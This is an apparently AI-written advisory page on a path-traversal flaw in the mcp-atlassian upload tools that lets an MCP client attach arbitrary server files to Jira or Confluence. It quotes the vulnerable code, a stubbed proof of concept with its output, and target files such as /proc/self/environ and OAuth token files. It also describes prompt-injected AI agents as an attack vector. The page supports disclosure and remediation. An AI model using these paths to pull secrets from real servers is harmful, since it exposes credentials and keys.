NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-77266: MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call

mediumCVSS 3.1 6.5GHSA-mfv2-4wvm-9pgp

The Jira and Confluence `upload_attachment` functions in mcp-atlassian before 0.22.0 open any `file_path` without calling `validate_safe_path()`. A compromised or prompt-injected MCP client can upload `/proc/self/environ` or the OAuth token files as attachments. Upgrade to 0.22.0.

Published Sep 22, 2026 · Analysis Oct 22, 2026

What an attacker can do

The path validator validate_safe_path() was added for downloads under GHSA-xjgw-4wvw-rgm4. Uploads were skipped in both modules. In jira/attachments.py, upload_attachment() makes the path absolute, checks it exists and opens it with open(file_path, "rb") before add_attachment. In confluence/attachments.py, upload_attachment() does the same, and _upload_attachment_direct() opens the file at around line 477.

The reporter's tests, using stubs and no real credentials, ran against commit d8bc786 (v0.21.1). upload_attachment on /etc/passwd returned success: True with a size of 3388 bytes in both modules.

Any authenticated MCP client can call jira_upload_attachment or confluence_upload_attachment. That includes a compromised agent, a prompt-injected session or a malicious plugin. Readable targets include /etc/shadow, /proc/self/environ with API keys, ~/.mcp-atlassian/oauth-*.json refresh tokens, SSH keys and TLS certificates. The content is stored as a visible attachment on the issue or page. The reporter says both HTTP multi-user and local stdio deployments are affected.

Who is affected

mcp-atlassian below 0.22.0, on both the Jira and Confluence upload tools. The reporter verified v0.21.1. Risk grows with the privileges and secrets available to the server process.

pip show mcp-atlassian

mcp-atlassian

Ecosystem
PyPI
Affected
< 0.22.0
Fixed in
0.22.0
Check
pip show mcp-atlassian

How to fix it

Upgrade to 0.22.0:

pip install --upgrade mcp-atlassian==0.22.0

The fix is pull request 1448. The advisory names no workaround. Run the server as a low-privilege user without access to secrets it does not need, and rotate any OAuth tokens or keys readable by that user if you suspect they were taken. Disabling write tools with READ_ONLY_MODE=true blocks the upload tools, if you do not need them.

How to tell if you were hit

Review attachments on Jira issues and Confluence pages added by the integration account, looking for names such as environ, passwd, shadow and oauth-*.json. Search tool-call logs for jira_upload_attachment and confluence_upload_attachment with absolute or /proc/ paths. Beam records agent MCP tool calls, so a prompt-injected upload would appear in the agent's session history.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling `validate_safe_path()`. An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.

This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.

---

Details

Affected functions:

| File | Function | Line |
| `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 |
| `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 |
| `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 |

Jira — vulnerable code path (`jira/attachments.py`):

def upload_attachment(self, issue_key: str, file_path: str) -> dict:
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)   # resolves relative paths

    if not os.path.exists(file_path):             # confirms file exists
        ...

    # ⚠ validate_safe_path() is NEVER called here
    filename = os.path.basename(file_path)
    with open(file_path, "rb") as file:           #  arbitrary file opened
        attachment = self.jira.add_attachment(
            issue_key=issue_key, filename=file_path
        )

Compare with the protected download path in the same file:

def download_attachment(self, url: str, target_path: str) -> bool:
    ...
    validate_safe_path(target_path)   #   upload has no equivalent

Confluence — vulnerable code path (`confluence/attachments.py`):

def upload_attachment(self, content_id, file_path, ...):
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)

    # ⚠ validate_safe_path() is NEVER called
    filename = os.path.basename(file_path)
    attachment = self._upload_attachment_direct(
        content_id, file_path, filename, comment, minor_edit
    )

# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))}  # ← arbitrary file opened

---

PoC

Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.

Jira PoC (`poc_001_jira_path_traversal.py`):

import sys, os, types
from unittest.mock import MagicMock

sys.path.insert(0, "src")

def _make_pkg(name):
    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m

atlassian_pkg  = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
    "__init__": lambda s, *a, **k: None,
    "_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None

from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
                    username="x", api_token="x")

class FakeFetcher(AttachmentsMixin):
    def __init__(self):
        self.config = config
        self.jira   = MagicMock()
        self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}

result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)

Observed output — Jira (Kali Linux, v0.21.1):

[*] Target file : /etc/passwd
[*] Calling     : AttachmentsMixin.upload_attachment()

[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — file opened with no path validation
      add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')

Observed output — Confluence (Kali Linux, v0.21.1):

[*] Target file : /etc/passwd
[*] Calling     : ConfluenceAttachmentsMixin.upload_attachment()

[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()
      upload_attachment() → _upload_attachment_direct() → open(file_path)
      download_attachment() in same file IS protected — asymmetric fix

Key evidence:

  • success: True — no exception raised, no path validation triggered
  • size: 3388 — /etc/passwd was opened and read by os.path.getsize()
  • Both modules affected independently — neither Jira nor Confluence has an upload-side guard

In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.

---

Impact

Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:

  • /etc/shadow — system password hashes
  • /proc/self/environ — process environment variables (API keys, secrets)
  • ~/.mcp-atlassian/oauth-*.json — stored OAuth refresh tokens
  • SSH private keys, TLS certificates, application configuration files

No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira_upload_attachment and confluence_upload_attachment MCP tools are affected.

Root cause: The validate_safe_path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

Credited to hewei-gikaku.

Questions

Why is this called an incomplete fix?

GHSA-xjgw-4wvw-rgm4 guarded downloads with validate_safe_path. The matching upload functions in Jira and Confluence were left without it.

Are stdio deployments safe?

No. The reporter says both HTTP multi-user and local stdio modes are affected, since any client able to call the tool can pick the path.

What is the highest-value target file?

/proc/self/environ and ~/.mcp-atlassian/oauth-*.json, which hold API keys and OAuth refresh tokens.

Is there a public exploit?

The advisory includes stubbed proof-of-concept code. No exploitation in the wild is reported.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries